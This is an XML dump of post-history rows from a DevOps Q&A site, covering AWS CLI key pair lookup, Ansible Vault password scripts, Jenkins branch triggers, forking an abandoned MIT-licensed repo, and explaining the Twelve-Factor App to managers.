  <row Id="11989" PostHistoryTypeId="5" PostId="3823" RevisionGUID="aea4a174-7c3c-4185-a3f3-82e2fa25eef8" CreationDate="2018-04-06T16:01:51.227" UserId="47" Comment="fixed typo" Text="How to authenticate against AWS to make API query ?&#xD;&#xA;&#xD;&#xA;    https://iam.amazonaws.com/?Action=ListAttachedUserPolicies&amp;UserName=ja&amp;Version=2010-05-08&amp;accesskey&#xD;&#xA;&#xD;&#xA;and getting:&#xD;&#xA;&#xD;&#xA;    &lt;Code&gt;MissingAuthenticationToken&lt;/Code&gt;&#xD;&#xA;    &lt;Message&gt;Request is missing Authentication Token&lt;/Message&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11990" PostHistoryTypeId="2" PostId="3825" RevisionGUID="b9e7cd71-2105-495a-af88-2024d86d75e6" CreationDate="2018-04-06T16:26:04.520" UserId="3" Text="I'm aware of `get-password-data` command which can display PasswordData data like:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 get-password-data --instance-id i-0123456789&#xD;&#xA;    {&#xD;&#xA;        &quot;InstanceId&quot;: &quot;i-0123456789&quot;,&#xD;&#xA;        &quot;PasswordData&quot;: &quot;\r\nAOh...xg==\r\n&quot;,&#xD;&#xA;        &quot;Timestamp&quot;: &quot;2018-03-27T16:52:04.000Z&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;however I'd like to know which _Key pair name_ was used, so I can pass it using `--priv-launch-key` in order to decrypt the password.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11991" PostHistoryTypeId="1" PostId="3825" RevisionGUID="b9e7cd71-2105-495a-af88-2024d86d75e6" CreationDate="2018-04-06T16:26:04.520" UserId="3" Text="How to find out the used Key pair name via AWS CLI?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11992" PostHistoryTypeId="3" PostId="3825" RevisionGUID="b9e7cd71-2105-495a-af88-2024d86d75e6" CreationDate="2018-04-06T16:26:04.520" UserId="3" Text="&lt;amazon-ec2&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11993" PostHistoryTypeId="5" PostId="3818" RevisionGUID="bfaf92ee-5c3c-4669-9677-da020fa37afa" CreationDate="2018-04-06T17:49:29.857" UserId="210" Comment="added 517 characters in body" Text="Please read https://docs.ansible.com/ansible/2.4/vault.html&#xD;&#xA;Since Ansible 2.4 one could use `--vault-id @prompt`.&#xD;&#xA;&#xD;&#xA;Encrypt a file using ansible-vault:&#xD;&#xA;&#xD;&#xA;    ansible-vault encrypt /path/to/encrypted/file&#xD;&#xA;&#xD;&#xA;Run the playbook and it will result in:&#xD;&#xA;&#xD;&#xA;    fatal: [localhost]: FAILED! =&gt; {&quot;msg&quot;: &quot;A vault password or secret must be&#xD;&#xA;    specified to decrypt /path/to/encrypted/file&quot;}&#xD;&#xA;&#xD;&#xA;There are multiple options to decrypt files, including `@prompt`:&#xD;&#xA;&#xD;&#xA;    ansible-playbook some-playbook --vault-id @prompt&#xD;&#xA;&#xD;&#xA;will prompt:&#xD;&#xA;&#xD;&#xA;    Vault password (default):&#xD;&#xA;&#xD;&#xA;Once the vault password has been entered, the playbook should succeed." ContentLicense="CC BY-SA 3.0" />
  <row Id="11994" PostHistoryTypeId="5" PostId="3816" RevisionGUID="be067782-6cf0-4f77-94a8-8cdbd9544272" CreationDate="2018-04-06T19:22:33.803" UserId="6544" Comment="corrected spelling and grammar" Text="I am using Jenkins2 and GitHub plugin for triggering **Push** events.&#xD;&#xA;&#xD;&#xA;I have the next service (Jenkins Github): http://myjenkinsmaster/github-webhook/&#xD;&#xA;&#xD;&#xA;I also have 3 branches: `dev`, `stage`, `master` which need to be built.&#xD;&#xA;&#xD;&#xA;But I require only the branch with changes to be built. &#xD;&#xA;&#xD;&#xA;For example if changes were pushed to `dev`, only `dev` branch will be built, and others ignored. &#xD;&#xA;&#xD;&#xA;However, Jenkins builds all 3 branches which I specified in branch field in job config. &#xD;&#xA;&#xD;&#xA;How can I achieve a Jenkins build that builds only the branch where changes were pushed?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11995" PostHistoryTypeId="24" PostId="3816" RevisionGUID="be067782-6cf0-4f77-94a8-8cdbd9544272" CreationDate="2018-04-06T19:22:33.803" Comment="Proposed by 6544 approved by 40, 47 edit id of 668" ContentLicense="CC BY-SA 3.0" />
  <row Id="11996" PostHistoryTypeId="2" PostId="3826" RevisionGUID="de523c25-0bd5-4802-b5cd-d3dd5e338fce" CreationDate="2018-04-06T19:30:05.277" UserId="210" Text="https://github.com/kamaln7/ansible-swapfile&#xD;&#xA;&#xD;&#xA;Seems not to be maintained. For example, an issue was created in May and no reaction. A new issue has just been created to ask whether this repo is still maintained. &#xD;&#xA;&#xD;&#xA;When is it allowed to fork someone else repo and to publish it to Ansible galaxy for example?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11997" PostHistoryTypeId="1" PostId="3826" RevisionGUID="de523c25-0bd5-4802-b5cd-d3dd5e338fce" CreationDate="2018-04-06T19:30:05.277" UserId="210" Text="When is it ethically acceptable to fork someone else github code and continue with that?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11998" PostHistoryTypeId="3" PostId="3826" RevisionGUID="de523c25-0bd5-4802-b5cd-d3dd5e338fce" CreationDate="2018-04-06T19:30:05.277" UserId="210" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11999" PostHistoryTypeId="2" PostId="3827" RevisionGUID="a6b19144-abf3-4cad-b484-7bc18816815b" CreationDate="2018-04-06T20:50:36.490" UserId="4175" Text="Always! This is what open source and permissive licenses are all about. The original author wanted the world to contribute to this piece of software, and you will be doing exactly that.&#xD;&#xA;&#xD;&#xA;Fork it, give a mention of where you got it and go on with it. It does not even matter that it is probably abandoned (since the last change was 3 years ago).&#xD;&#xA;&#xD;&#xA;If you do feel that you did some good improvements, send pull request back to your upstream, as  usual. If the original author never comes back, then so be it. If he does, he can integrate them (or not if he so chooses). But this is strictly optional, you are neither legally nor ethically forced to do so.&#xD;&#xA;&#xD;&#xA;About uploading it to some other locations (Ansible Galaxy or whatever - say Docker Hub for docker images and so on): the issue is probably mostly to avoid irritations due to the name being &quot;replaced&quot; (but I'd assume if the original author already has uploaded it to A.G., you can't just replace it, anyway).  So, in the latter case, just upload it with another name, which is still easily identifyable as related to the original - say, append some suffix which is not too obnoxious.&#xD;&#xA;&#xD;&#xA;Oh, and to be sure; this piece of software is under the MIT license:&#xD;&#xA;&#xD;&#xA;&gt;Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the &quot;Software&quot;), to deal in the Software without restriction, including without limitation the rights to use, **copy**, modify, merge, **publish**, **distribute**, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:&#xD;&#xA;&#xD;&#xA;There you go.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12000" PostHistoryTypeId="5" PostId="3827" RevisionGUID="ff8c0d3d-d691-42ca-b906-8926a112072e" CreationDate="2018-04-06T22:22:33.357" UserId="4175" Comment="added 88 characters in body" Text="Always! This is what open source and permissive licenses are all about. The original author wanted the world to contribute to this piece of software, and you will be doing exactly that.&#xD;&#xA;&#xD;&#xA;Fork it, respect the license requirements, and go on with it. It does not matter whether it is abandoned (like your example, since the last change was 3 years ago) or current.&#xD;&#xA;&#xD;&#xA;If you do feel that you did some good improvements, send pull requests back to your upstream, as  usual. If the original author never comes back, then so be it. If he does, he can integrate them (or not if he so chooses). But this is strictly optional, you are neither legally nor ethically forced to do so.&#xD;&#xA;&#xD;&#xA;About uploading it to some other locations (Ansible Galaxy or whatever - say Docker Hub for docker images and so on): the issue is probably mostly to avoid irritations due to the name being &quot;replaced&quot; (but I'd assume if the original author already has uploaded it to A.G., you can't just replace it, anyway).  So, in the latter case, just upload it with another name, which is still easily identifyable as related to the original - say, append some suffix which is not too obnoxious.&#xD;&#xA;&#xD;&#xA;Oh, and to be sure; this piece of software is under the MIT license:&#xD;&#xA;&#xD;&#xA;&gt;Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the &quot;Software&quot;), to deal in the Software without restriction, including without limitation the rights to use, **copy**, modify, merge, **publish**, **distribute**, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:&#xD;&#xA;&#xD;&#xA;There you go.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12001" PostHistoryTypeId="2" PostId="3828" RevisionGUID="1e4e13b5-e5b7-4122-aab5-a416b91c3d66" CreationDate="2018-04-07T04:07:00.053" UserId="6544" Text="For a given instance, you would first use `aws ec2 describe-instances` to get the information JSON for your instance.&#xD;&#xA;&#xD;&#xA;The information also contains the keypair name used to create that instance.&#xD;&#xA;&#xD;&#xA;You can store that in a variable and then pass it into your `aws ec2 get-password-data` command." ContentLicense="CC BY-SA 3.0" />
  <row Id="12002" PostHistoryTypeId="5" PostId="3828" RevisionGUID="7f423209-3975-4ea4-bd57-7375f9cbd083" CreationDate="2018-04-07T04:12:47.630" UserId="6544" Comment="Added code example" Text="For a given instance, you would first use `aws ec2 describe-instances` to get the information JSON for your instance.&#xD;&#xA;&#xD;&#xA;The information also contains the keypair name used to create that instance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;E.g. for an instance `i-0e2x8xd7xxx`  (Note: I use the awesome tool `jq` to do JSON parsing but you can use any other solution)&#xD;&#xA;&#xD;&#xA;    aws ec2 describe-instances --instance-ids i-0e2x8xd7xxx | jq '.Reservations[].Instances[].KeyName'&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    &quot;my_key_name&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can store that in a variable, say `$keypair_name` and then pass it into your `aws ec2 get-password-data` command.&#xD;&#xA;&#xD;&#xA;You would also need to pass in the path on your machine where your keypairs are located e.g. `$keypair_path`.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    aws ec2 get-password-data --priv-launch-key $keypair_path/$keypair_name ....." ContentLicense="CC BY-SA 3.0" />
  <row Id="12003" PostHistoryTypeId="5" PostId="3758" RevisionGUID="1c0732d6-c40f-4283-9614-0540835f4c2c" CreationDate="2018-04-07T05:27:31.920" UserId="40" Comment="Make the question apply for daughters also ..." Text="[The Twelve Factors](https://12factor.net) is a sort of manifesto seen as a road-map for developers to follow when building modern web-based.  &#xD;&#xA;&#xD;&#xA;How would you explain each of the 12 factors in less than three sentences to your 5-year-old child?&#xD;&#xA;&#xD;&#xA;**disclaimer**  &#xD;&#xA;Computer jargon allowed .. your 5-year-old child is a genius." ContentLicense="CC BY-SA 3.0" />
  <row Id="12004" PostHistoryTypeId="4" PostId="3758" RevisionGUID="1c0732d6-c40f-4283-9614-0540835f4c2c" CreationDate="2018-04-07T05:27:31.920" UserId="40" Comment="Make the question apply for daughters also ..." Text="How to explain the Twelve Factors to a 5 year old child?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12006" PostHistoryTypeId="5" PostId="3791" RevisionGUID="f17c1972-3530-4461-9ae3-d8b5aae59f31" CreationDate="2018-04-07T06:27:27.820" UserId="249" Comment="Minor spelling fix to restore the intent" Text="&gt; **I. Codebase**&#xD;&#xA;&gt; &#xD;&#xA;&gt; One codebase tracked in revision control, many deploys&#xD;&#xA;&#xD;&#xA;Version Control System (VCS)&#xD;&#xA;&#xD;&#xA;&gt; **II. Dependencies**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Explicitly declare and isolate dependencies&#xD;&#xA;&#xD;&#xA;Use a package manager tool&#xD;&#xA;&#xD;&#xA;&gt; **III. Config**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Store config in the environment&#xD;&#xA;&#xD;&#xA;Environment variables&#xD;&#xA;&#xD;&#xA;&gt; **IV. Backing services**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Treat backing services as attached resources&#xD;&#xA;&#xD;&#xA;The code should not change if another service like a database changes.&#xD;&#xA;&#xD;&#xA;&gt; **V. Build, release, run**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Strictly separate build and run stages&#xD;&#xA;&#xD;&#xA; - unique release id&#xD;&#xA; - a new release must be created for every change&#xD;&#xA;&#xD;&#xA;&gt; **VI. Processes**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Execute the app as one or more stateless processes&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VII. Port binding**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Export services via port binding&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VIII. Concurrency**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Scale out via the process model&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **IX. Disposability**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Maximize robustness with fast startup and graceful shutdown&#xD;&#xA;&#xD;&#xA;Disposable. It does not matter whether services go down. The platform that consists of multiple services, is able to continue if services go down, e.g. data will not be lost. When the services are rebooted the platform can continue without data loss.&#xD;&#xA;&#xD;&#xA;&gt; **X. Dev/prod parity**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Keep development, staging, and production as similar as possible&#xD;&#xA;&#xD;&#xA; - Save time: one does not have to think, where does the acceptance database reside or where does this app exist in the testing environment. If one applies the same structure for systems in dev, test and acc then one does not have to think every time when such an environment is used and this will save time&#xD;&#xA;&#xD;&#xA; - Decrease number of bugs: if a development environment is similar to production, the number of bugs will be decreased as there is a higher chance that the bugs will be solved in the dev phase proactively&#xD;&#xA;&#xD;&#xA;&gt; **XI. Logs**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Treat logs as event streams&#xD;&#xA;&#xD;&#xA; - stdout&#xD;&#xA; - store all logs in a log manager like splunk&#xD;&#xA;&#xD;&#xA;&gt; **XII. Admin processes**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Run admin/management tasks as one-off processes&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;&gt; we are a startup of 6 devs our boss is a former sportsman&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; **Who should read this document?**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Any developer building applications which run as a service. Ops&#xD;&#xA;&gt; engineers who deploy or manage such applications.&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;https://en.wikipedia.org/wiki/Software_rot&#xD;&#xA;&#xD;&#xA;&gt; slow deterioration of software over time that will eventually lead to&#xD;&#xA;&gt; it becoming faulty [or] unusable&quot; and, importantly, that &quot;the software&#xD;&#xA;&gt; does not actually decay, but rather suffers from a lack of being&#xD;&#xA;&gt; updated with respect to the changing environment in which it resides.&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;**Manager:** Why do you want to apply 12factor?&#xD;&#xA;&#xD;&#xA;**Team:** The 12factor prevents software rot, i.e. more bugs, unstable software resulting in less customer satisfaction, less revenue.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Conclusion**&#xD;&#xA;&#xD;&#xA;Instead of explaining the 12factor it is better to explain what will happen if the 12factor is not applied, i.e. software rot. The 12factor is for Devs and Ops people, not for managers.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA; 1. http://www.clearlytech.com/2014/01/04/12-factor-apps-plain-english/&#xD;&#xA; 2. https://12factor.net/&#xD;&#xA; 3. https://thenewstack.io/12-factor-app-streamlines-application-development/" ContentLicense="CC BY-SA 3.0" />
  <row Id="12007" PostHistoryTypeId="24" PostId="3791" RevisionGUID="f17c1972-3530-4461-9ae3-d8b5aae59f31" CreationDate="2018-04-07T06:27:27.820" Comment="Proposed by 249 approved by 40, 210 edit id of 670" ContentLicense="CC BY-SA 3.0" />
  <row Id="12010" PostHistoryTypeId="5" PostId="3825" RevisionGUID="30f2771b-9548-4c1e-9568-312c52d1f59c" CreationDate="2018-04-07T07:19:02.930" UserId="6544" Comment="added some explanation" Text="I'm aware of `get-password-data` command which can display PasswordData data like:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 get-password-data --instance-id i-0123456789&#xD;&#xA;    {&#xD;&#xA;        &quot;InstanceId&quot;: &quot;i-0123456789&quot;,&#xD;&#xA;        &quot;PasswordData&quot;: &quot;\r\nAOh...xg==\r\n&quot;,&#xD;&#xA;        &quot;Timestamp&quot;: &quot;2018-03-27T16:52:04.000Z&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;however I'd like to know which _Key pair name_ was used to launch the instance, so I can pass it using `--priv-launch-key` in order to decrypt the password.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12011" PostHistoryTypeId="24" PostId="3825" RevisionGUID="30f2771b-9548-4c1e-9568-312c52d1f59c" CreationDate="2018-04-07T07:19:02.930" Comment="Proposed by 6544 approved by 40, 3 edit id of 669" ContentLicense="CC BY-SA 3.0" />
  <row Id="12012" PostHistoryTypeId="2" PostId="3830" RevisionGUID="8568b64d-88cf-4071-ae65-93e536202020" CreationDate="2018-04-07T07:34:38.060" UserId="3509" Text="### Vault password&#xD;&#xA;&#xD;&#xA;First of all, you should get familiar with the fact that vault password file can be executable script. In this case Ansible executes it and expects to receive password as its output.&#xD;&#xA;&#xD;&#xA;For example you can use `gpg-agent` or `keychain` to store your actual password and unlock it when required. Read more in this blog post: https://benincosa.com/?p=3235&#xD;&#xA;&#xD;&#xA;If you are a bit paranoid, you can add notification when your password script is called, like this:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    PARENT_PROCESS=$(ps -p $PPID -o args | tail -n 1)&#xD;&#xA;    osascript -e &quot;display notification \&quot;Vault password used by ${PARENT_PROCESS}\&quot; with title \&quot;Ansible\&quot; sound name \&quot;default\&quot;&quot;&#xD;&#xA;    gpg --batch --use-agent --no-tty --decrypt key.gpg 2&gt;/dev/null&#xD;&#xA;&#xD;&#xA;This vault password script uses `key.gpg` as actual vault key and also shows popup notification (for MacOS) with parent process name when script is used. Gpg-agent caches unlock password for some time, so there is no need to enter password every time you start playbook.&#xD;&#xA;&#xD;&#xA;Just set `vault_password_file = ./vault_pass.sh` in your `ansible.cfg`.&#xD;&#xA;&#xD;&#xA;### Environment&#xD;&#xA;&#xD;&#xA;You said that you use `azure_rm.py` as dynamic inventory script. This means that you have to set credentials into your environment variables before you start ansible-playbook for it to be able to use them.&#xD;&#xA;&#xD;&#xA;You can make two files:&#xD;&#xA;&#xD;&#xA;`secure_env` (encrypted with vault):&#xD;&#xA;&#xD;&#xA;    export AZURE_SECRET=xxx;export AZURE_SUBSCRIPTION_ID=xxx;&#xD;&#xA;&#xD;&#xA;`set_env` (plain text):&#xD;&#xA;&#xD;&#xA;    echo -n &quot;Setting secure vars... &quot;&#xD;&#xA;    eval $(ansible-vault view secure_env)&#xD;&#xA;    echo &quot;done.&quot;&#xD;&#xA;&#xD;&#xA;When you open new terminal to execute your automation tasks, you have to run:&#xD;&#xA;&#xD;&#xA;    source set_env&#xD;&#xA;&#xD;&#xA;At this moment, bash evaluates `set_env` and `secure_env` (decrypted via ansible-vault). After this command you have Azure credentials defined for the current shell, so you can execute playbooks as usual:&#xD;&#xA;&#xD;&#xA;    ansible-playbook provision-my-azure-instances.yml&#xD;&#xA;&#xD;&#xA;So using this two approaches, you can store `key.gpg` and `secure_env` in your repository; then in the new terminal call `source set_env` once, enter gpg password once (to unlock future use of key.gpg); then call `ansible-playbook` as many times as you like without any passwords.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12013" PostHistoryTypeId="5" PostId="3827" RevisionGUID="7e728bae-4ef7-4d1e-89ed-68a504bbc407" CreationDate="2018-04-07T08:36:03.400" UserId="4175" Comment="added 135 characters in body" Text="It is always ethically acceptable to fork any code on Github (or Sourceforge or wherever you got it from) and do whatever you want with it, within the terms allowed by its license! This is what open source and permissive licenses are all about. The original author wanted the world to contribute to this piece of software, and you will be doing exactly that.&#xD;&#xA;&#xD;&#xA;Fork it, respect the license requirements, and go on with it. It does not matter whether it is abandoned (like your example, since the last change was 3 years ago) or current.&#xD;&#xA;&#xD;&#xA;If you do feel that you did some good improvements, send pull requests back to your upstream, as  usual. If the original author never comes back, then so be it. If he does, he can integrate them (or not if he so chooses). But this is strictly optional, you are neither legally nor ethically forced to do so.&#xD;&#xA;&#xD;&#xA;About uploading it to some other locations (Ansible Galaxy or whatever - say Docker Hub for docker images and so on): the issue is probably mostly to avoid irritations due to the name being &quot;replaced&quot; (but I'd assume if the original author already has uploaded it to A.G., you can't just replace it, anyway).  So, in the latter case, just upload it with another name, which is still easily identifyable as related to the original - say, append some suffix which is not too obnoxious.&#xD;&#xA;&#xD;&#xA;Oh, and to be sure; this piece of software is under the MIT license:&#xD;&#xA;&#xD;&#xA;&gt;Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the &quot;Software&quot;), to deal in the Software without restriction, including without limitation the rights to use, **copy**, modify, merge, **publish**, **distribute**, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:&#xD;&#xA;&#xD;&#xA;There you go.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12014" PostHistoryTypeId="5" PostId="3758" RevisionGUID="07cb46e4-85af-4fa3-8e1c-4a2b1e8c8347" CreationDate="2018-04-07T09:37:16.590" UserId="800" Comment="deleted 89 characters in body; edited title" Text="[The Twelve Factors](https://12factor.net) is a sort of manifesto seen as a road-map for developers to follow when building modern web-based.  &#xD;&#xA;&#xD;&#xA;How would you explain each of the 12 factors in less than three sentences to random people?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12015" PostHistoryTypeId="4" PostId="3758" RevisionGUID="07cb46e4-85af-4fa3-8e1c-4a2b1e8c8347" CreationDate="2018-04-07T09:37:16.590" UserId="800" Comment="deleted 89 characters in body; edited title" Text="How to explain the Twelve Factors to non techy people?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12019" PostHistoryTypeId="2" PostId="3832" RevisionGUID="23e26edf-24f3-4990-994d-48cb056cec64" CreationDate="2018-04-07T14:27:24.677" UserId="4175" Text="As far as I can read between the lines, you want your upper management to support you in introducing the 12-factor approach to your company's software development.&#xD;&#xA;&#xD;&#xA;In that respect, you do *not* want to explain each of the 12 factors to them. If they really were interested in that, then you could just send them the 12-factor website you have linked in your question - it already has 1-sentence summaries.&#xD;&#xA;&#xD;&#xA;I'll answer the question you wrote in the title:&#xD;&#xA;&#xD;&#xA;&gt; How to explain the Twelve Factors to non techy people?&#xD;&#xA;&#xD;&#xA;The Twelve Factors are not a soft &quot;culture&quot;. It is a set of concrete, practical and pretty low-level techniques for solving problems relating to configuration management and deployment of application. Instead of &quot;culture&quot; or &quot;methodology&quot;, I would rather call it a pattern, or a kind of handbook for developers. It is obviously related to DevOps, cloud and similar buzzwords, but not necessarily so - you can also employ the techniques if you only have one developer doing his own thing, and even if there is no cloud or otherwise &quot;modern&quot; environment involved at all.&#xD;&#xA;&#xD;&#xA;It is not even necessary to involve management in the question whether to employ some or all of the techniques mentioned in the 12-factors. Many of them are simply best practices which everybody who develops (&quot;service&quot;-like) software will end up over the years.  This is pretty evident in the *I. Codebase*, *III. Config*, *XI. Logs*. No manager is required to give a green light to employ these practices.&#xD;&#xA;&#xD;&#xA; Other of the principles, namely *II. Dependencies*, *IV. Backing services*, *VI. Processes*, *VII. Port binding*, *VIII. Concurrency*, *IX. Disposability* are neatly combined into the keyword *&quot;microservices&quot;*. Don't explain to your management those specifics, but tell them that you are going to make a move from some presumably monolithic application architecture you had before to a microservice based one. On a management level, this can be sufficiently done with a graphical representation (one big blob of complex software on the one hand - several individual small blobs of software on the other hand). You can explain why the later can be better for the job at hand with nontechnical terms; every manager can understand the concepts of dividing a big, convoluted mass of code into smaller pieces that can be handled (and scaled) much easier.&#xD;&#xA;&#xD;&#xA;Your management will want to know what it costs and how long it takes. 12-factor tells you nothing at all about that. While there is a slight cost involved in some of the factors (e.g., establishing a central log stash), the cost is minor and will easily be caught up by savings later. Other costs may be the time needed for your developers to embrace some of the more tougher parts (i.e., II, VII, IX, depending on how much existing software you already have).&#xD;&#xA;&#xD;&#xA;Very important: it is pretty simple to work in an environment with a big monolithic application, and only add *new* stuff with the full 12-factor approach, or convert bits and pieces from the original software as you go. This  might be more sensible if you have time or money constraints.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12020" PostHistoryTypeId="5" PostId="3832" RevisionGUID="2d39a901-8cec-40bd-866d-1c5af2716e83" CreationDate="2018-04-07T17:23:51.727" UserId="4175" Comment="added 1 character in body" Text="As far as I can read between the lines, you want your upper management to support you in introducing the 12-factor approach to your company's software development.&#xD;&#xA;&#xD;&#xA;In that respect, you do *not* want to explain each of the 12 factors to them. If they really were interested in that, then you could just send them the 12-factor website you have linked in your question - it already has 1-sentence summaries.&#xD;&#xA;&#xD;&#xA;I'll answer the question you wrote in the title:&#xD;&#xA;&#xD;&#xA;&gt; How to explain the Twelve Factors to non techy people?&#xD;&#xA;&#xD;&#xA;The Twelve Factors are not a soft &quot;culture&quot;. It is a set of concrete, practical and pretty low-level techniques for solving problems relating to configuration management and deployment of applications. Instead of &quot;culture&quot; or &quot;methodology&quot;, I would rather call it a pattern, or a kind of handbook for developers. It is obviously related to DevOps, cloud and similar buzzwords, but not necessarily so - you can also employ the techniques if you only have one developer doing his own thing, and even if there is no cloud or otherwise &quot;modern&quot; environment involved at all.&#xD;&#xA;&#xD;&#xA;It is not even necessary to involve management in the question whether to employ some or all of the techniques mentioned in the 12-factors. Many of them are simply best practices which everybody who develops (&quot;service&quot;-like) software will end up over the years.  This is pretty evident in the *I. Codebase*, *III. Config*, *XI. Logs*. No manager is required to give a green light to employ these practices.&#xD;&#xA;&#xD;&#xA; Other of the principles, namely *II. Dependencies*, *IV. Backing services*, *VI. Processes*, *VII. Port binding*, *VIII. Concurrency*, *IX. Disposability* are neatly combined into the keyword *&quot;microservices&quot;*. Don't explain to your management those specifics, but tell them that you are going to make a move from some presumably monolithic application architecture you had before to a microservice based one. On a management level, this can be sufficiently done with a graphical representation (one big blob of complex software on the one hand - several individual small blobs of software on the other hand). You can explain why the later can be better for the job at hand with nontechnical terms; every manager can understand the concepts of dividing a big, convoluted mass of code into smaller pieces that can be handled (and scaled) much easier.&#xD;&#xA;&#xD;&#xA;Your management will want to know what it costs and how long it takes. 12-factor tells you nothing at all about that. While there is a slight cost involved in some of the factors (e.g., establishing a central log stash), the cost is minor and will easily be caught up by savings later. Other costs may be the time needed for your developers to embrace some of the more tougher parts (i.e., II, VII, IX, depending on how much existing software you already have).&#xD;&#xA;&#xD;&#xA;Very important: it is pretty simple to work in an environment with a big monolithic application, and only add *new* stuff with the full 12-factor approach, or convert bits and pieces from the original software as you go. This  might be more sensible if you have time or money constraints.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12021" PostHistoryTypeId="5" PostId="3832" RevisionGUID="1a1754f7-7a38-49d3-a994-7326c3378a33" CreationDate="2018-04-07T17:43:05.470" UserId="4175" Comment="added 19 characters in body" Text="As far as I can read between the lines, you want your upper management to support you in introducing the 12-factor approach to your company's software development.&#xD;&#xA;&#xD;&#xA;In that respect, you do *not* want to explain each of the 12 factors to them. If they really were interested in that, then you could just send them the 12-factor website you have linked in your question - it already has 1-sentence summaries.&#xD;&#xA;&#xD;&#xA;I'll answer the question you wrote in the title:&#xD;&#xA;&#xD;&#xA;&gt; How to explain the Twelve Factors to non techy people?&#xD;&#xA;&#xD;&#xA;The Twelve Factors are not a soft &quot;culture&quot;. It is a set of concrete, practical and pretty low-level techniques for solving problems relating to configuration management, deployment and high availability of applications. Instead of &quot;culture&quot; or &quot;methodology&quot;, I would rather call it a pattern, or a kind of handbook for developers. It is obviously related to DevOps, cloud and similar buzzwords, but not necessarily so - you can also employ the techniques if you only have one developer doing his own thing, and even if there is no cloud or otherwise &quot;modern&quot; environment involved at all.&#xD;&#xA;&#xD;&#xA;It is not even necessary to involve management in the question whether to employ some or all of the techniques mentioned in the 12-factors. Many of them are simply best practices which everybody who develops (&quot;service&quot;-like) software will end up over the years.  This is pretty evident in the *I. Codebase*, *III. Config*, *XI. Logs*. No manager is required to give a green light to employ these practices.&#xD;&#xA;&#xD;&#xA; Other of the principles, namely *II. Dependencies*, *IV. Backing services*, *VI. Processes*, *VII. Port binding*, *VIII. Concurrency*, *IX. Disposability* are neatly combined into the keyword *&quot;microservices&quot;*. Don't explain to your management those specifics, but tell them that you are going to make a move from some presumably monolithic application architecture you had before to a microservice based one. On a management level, this can be sufficiently done with a graphical representation (one big blob of complex software on the one hand - several individual small blobs of software on the other hand). You can explain why the later can be better for the job at hand with nontechnical terms; every manager can understand the concepts of dividing a big, convoluted mass of code into smaller pieces that can be handled (and scaled) much easier.&#xD;&#xA;&#xD;&#xA;Your management will want to know what it costs and how long it takes. 12-factor tells you nothing at all about that. While there is a slight cost involved in some of the factors (e.g., establishing a central log stash), the cost is minor and will easily be caught up by savings later. Other costs may be the time needed for your developers to embrace some of the more tougher parts (i.e., II, VII, IX, depending on how much existing software you already have).&#xD;&#xA;&#xD;&#xA;Very important: it is pretty simple to work in an environment with a big monolithic application, and only add *new* stuff with the full 12-factor approach, or convert bits and pieces from the original software as you go. This  might be more sensible if you have time or money constraints.&#xD;&#xA;&#xD;&#xA;" 